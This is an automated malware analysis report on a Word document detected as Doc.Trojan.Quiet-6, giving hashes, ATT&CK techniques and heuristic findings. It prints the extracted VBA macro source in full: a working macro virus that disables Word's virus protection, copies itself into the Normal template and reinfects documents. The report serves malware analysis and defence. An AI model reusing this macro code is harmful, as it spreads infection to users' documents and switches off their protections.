Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18de1c2032b78d45…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-06-06 08:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 436c465534496629c898bd47c90d82de SHA-1: c4c87f29408e1cd1304ae4020d238e990ffa6ee0 SHA-256: 18de1c2032b78d45b51e40d2d4cbe0d4dabf5a7fa09d464586f9fea171154786
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Word document containing VBA macros. The Document_Open macro copies its code to the Normal template, which is a common persistence technique. This allows the macro to execute automatically whenever Word is opened. The specific macro logic suggests an attempt to ensure the malicious code is present in the Normal template.

Heuristics 3

  • ClamAV: Doc.Trojan.Quiet-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quiet-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1056 bytes
SHA-256: 916f2f69f6ebdf2bc0fb3a3510d62bc57ec8bff8387b1eb5d5d14cd74962c772
Detection
ClamAV: Doc.Trojan.Quiet-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private source As Object
Private dest As Object

Private Sub Document_Close()

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_open()
 Application.Options.VirusProtection = False
 Set source = ActiveDocument.VBProject.VBComponents.Item(1)
 Set dest = NormalTemplate.VBProject.VBComponents.Item(1)
 If dest.codemodule.countoflines = 0 Then
  For i = 1 To source.codemodule.countoflines
     dest.codemodule.insertlines i, source.codemodule.lines(i, 1)
  Next i
  Application.Options.SaveNormalPrompt = False
End If

If source.codemodule.countoflines = 0 Then
 For i = 1 To dest.codemodule.countoflines
  source.codemodule.insertlines i, dest.codemodule.lines(i, 1)
 Next i
    
    
    
    ActiveDocument.SaveAs (ActiveDocument.FullName)
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.